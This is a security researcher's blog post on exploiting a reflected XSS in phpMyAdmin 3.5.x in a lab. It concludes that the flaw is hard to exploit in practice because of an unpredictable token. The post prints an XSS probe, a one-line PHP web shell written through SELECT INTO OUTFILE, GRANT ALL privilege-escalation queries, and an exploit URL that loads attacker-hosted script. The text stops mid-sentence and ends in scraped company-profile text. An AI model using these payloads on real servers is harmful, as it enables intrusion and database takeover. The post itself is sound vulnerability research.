Source: Immunity Blog

Immunity Blog PHPMyAdmin 3.5.X-3.5.8 Reflected XSS: What could have been, but really wasn't.

(This blog post is from Leff (Lautaro Fain), one of our consultants, and I asked him to do a special project, as documented below.)1. IntroductionA few days ago Dave asked me to take advantage of a known vuln affecting PHPMyAdmin MySQL Management Platforms (Versions 3.5.X to 3.5.8) in order to gain a Web Shell or Admin Rights Access to the server. It was nothing more than a common Reflected Cross-Site Scripting issue taking place in an 'in attribute' context. The vuln is conveniently described in the links below:https://www.first.org/cvss/examples#1-phpMyAdmin-Reflected-Cross-site-Scripting-Vulnerability-CVE-2013-1937https://www.exploit-db.com/exploits/38440This is the theoretical severity scoring from the team at FIRST:This document enumerates the ways I tried to exploit this issue, and provides a more accurate ranking of the vulnerability's technical risk.2. Exploitation PhaseTaking a closer look at the issue...As soon as the task was given, I grabbed a vulnerable PHPMyAdmin version (this being 3.5.1, https://www.phpmyadmin.net/files/) and began the installation process in order to make a local lab to test the issue.Once the 'server' was running smoothly (fixed some issues and then ran 'php -S localhost:8085' in a terminal), I decided to take a look at the vulnerable files to see by eye if the issue was present.After reaching the 'tbl_gis_visualization.php' file and reading the code, we get to infer that 'visualizationSettings['width']' and 'virtualizationSettings['height']' parameters are indeed our entrypoint to exploit this vulnerability as they get rendered back in the HTML code without taking any kind of sanitization process.To keep going forward, we would need to test if the statement provided above is correct and then try to exploit this issue with our bare hands. To first confirm that we are right, a simple XSS Payload ("><script>alert('Immunity INC.')</script>) was provided and executed within the context of an already logged in user ('root' in this case).Analyzing possible attack vectorsIt worked as expected - we are for sure facing an 'In Attribute' Cross-Site Scripting vulnerability. Now, let's check if we can make some malicious things out of that. For further understanding, let me explain the two most common techniques that are used to take over PHPMyAdmin or MySQL Servers.a) The 'SELECT INTO OUTFILE' technique: So, by its very own nature, PHPMyAdmin gives us the chance to execute SQL Queries through a web interface and, as our objective would be creating a new PHP file that works as Web Shell, this is almost a win-win situation for us. We go straight to the objective and run the necessary queries to check if indeed this can be done from here ('SELECT "<?php system($_GET['cmd'])?>" INTO OUTFILE "/imm_shell.php";') but well, it's not that easy.MySQL Servers have this tiny global variable called 'secure_file_privs' which is used to specify which directories the client can write on. Let's take a look at it by using: 'SELECT @secure_file_privs;'.HA! Can't get surprised anymore, this variable is set to 'NULL' by default and in real case scenarios, the database admin will set it to allow writing in directories that are NOT exposed to the outside world (like '/tmp' or '/custom_dir' instead of using '/var/www' to create temporary files or storing persistent files). Anyways, as we all know, there can still be some cases where this variable allows MySQL file writing in root web server directories (yes, I'm mentioning '/var/www' again as an example) that can be accessed through the browser which means that this technique (if possible to achieve) will get us an immediate web shell!But sadly, this is not the case for us, and as this variable cannot be set through PHPMyAdmin (it needs to be changed from the 'my.ini' file within the MySQL folder) queries or configuration environments, we can't bypass this.b) Creating a New Privileged User through SQL Queries: This is another possible attack vector, we can execute the queries needed to create a new user in the database, this user would need to have enough privileges to do the same things as the 'root' or 'admin' user usually does. Sounds good, let's make it happen (using this query 'GRANT ALL PRIVILEGES ON *.* TO 'immtest'@'localhost' IDENTIFIED BY 'immtest';'):Let's log in with this new credentials, they might work as expected.Awesome, they do work and have all the possible privileges! But wait, do you remember that we created this user while logged in with the 'root' user credentials, right? Not cool - what if during a real case scenario we manage to find credentials that belong to a less privileged user, can we still make this happen? Let's check this with another user, we will create it as a default user and then create a new user with that account.New user created, as you may have seen, he cannot see anything apart from the classic system tables. Let's suppose we have grabbed his credentials and we want to create a new user, but this time with this 'immtest_nopriv' account.Okay, not surprised again. What is happening here? We cannot create a new user having all the privileges from an account that doesn't have enough privileges to do so, this means, that if the credentials we grabbed are not supposed to create users with the greatest possible privileges (that is set by the database admin) we won't be able to create an user which can do anything else than reading system tables or even, we won't neither be able to create a new user.So, where do we stand here? Well, we can still make use of our XSS issue to execute queries inside PHPMyAdmin - so let's create a payload to make that happen!Creating our payloadFor length reasons, this payload will need to be created as a single Javascript file and be served in a malicious server so we can retrieve it when trying to exploit our vulnerability.To begin, as always, we grab the POST request made from the client side to the server using Burp so we can check the sent parameters and values to replicate that in our code.We modified the 'sql_query' with some SQL Instructions (that being 'GRANT ALL PRIVILEGES ON *.* TO 'xssuser'@'localhost' IDENTIFIED BY 'xssuser';') parameter to check if everything runs smoothly and we can indeed send whatever query we want to the server side.Awesome, the user we created now exists, this means that all works as expected. Let's dive into the Javascript code creation.Some explanation might come in handy, so i will enumerate some of the payload behaviour below:We need to grab the victim's token before doing any request, it works as a 'csrf' and sort of session token as once (despite PHPMyAdmin also using the widely known 'phpMyAdmin' cookie). That's what the first line does, we dynamically retrieve that from a hidden input in the vulnerable web page using javascript.The desired query to execute is specified on the second line.We replicated the HTTP POST Request body, so the server gets what it expects and nothing more than that (third line).The target endpoint is set at the sixth line.And finally, we use JavaScript built in 'fetch' function to make an HTTP POST request that bypasses CORS and then sends another GET request to our malicious server specifying the response status as an endpoint.As you might expected, this is not a difficult thing to do. We can now exploit this vulnerability referencing our malicious code.Yay! Time to exploit this thing!We change the 'sql_query' parameter to hold whatever we want to, this time, i will create another user called 'leff_exploit_test' to check that it works.After hosting the file in our malicious server, and exploiting the scenario (we got 200 as a HTTP Status!) we can test if the user was indeed created.Awesome, this worked! This is a Reflected XSS Vulnerability, we will use this to make victims execute arbitrary Javascript code within their browser when clicking a specially crafted link. Let's try that!3. Showstopper realizationsTime to reach the finish line, this link will be the one that triggers the exploit we made:http://localhost:8085/tbl_gis_visualization.php?db=information_schema&token=550a80691c075e6b4a4e0c9f410a1db4&visualizationSettings[width]=%22%3E%3Cscript%20src=%22http://localhost:5555/test.js%22%3E%3C/script%3EBut wait, did you notice something? The token value also travels in the GET request. THAT'S NOT GOOD! We cannot exploit that, since that that token belongs to the user himself and there's no way we can retrieve it before crafting the malicious url (at least in the position we are now). We can try some things to see if the server does not enforce proper checks to that attribute. Can we send requests to the server without providing the correct token or not providing a token at all? Common tests involve:Sending an empty token parameter.Sending a badly crafted token parameter.Not sending the token parameter.Sending the token parameter as an array type parameter (Just for PHP Servers).Sending the token parameter holding a null value.After trying all of these options none of them seemed to work as our malicious server didn't get involved in any request. It was still immutable since the first time we exploited the issue.There is still one more thing to check - is this token predictable? If so, we might still have a chance to abuse this issue, lets search the code that generates this attribute value. Following its trail led us to the 'url_generating.lib.php' file, seems that the actual token value is being retrieved from the session object, and so on, created there.We need to search for 'PMA_token' instead of the 'token' word now.So, we found this again, but if you look carefully, the token is crafted in the following way:rand() is called with no fixed or predictable value as an input, which discards any kind of prediction to know what value can be retrieved from that function call. When called that way, rand() returns a pseudo-random integer between 0 and getrandmax().The output of that call is passed as an input to uniqid() along w

Read full article »
Est. Annual Revenue
$5.0-25M
Est. Employees
25-100
Dave Aitel's photo - CEO of Immunity

CEO

Dave Aitel

CEO Approval Rating

70/100

Read more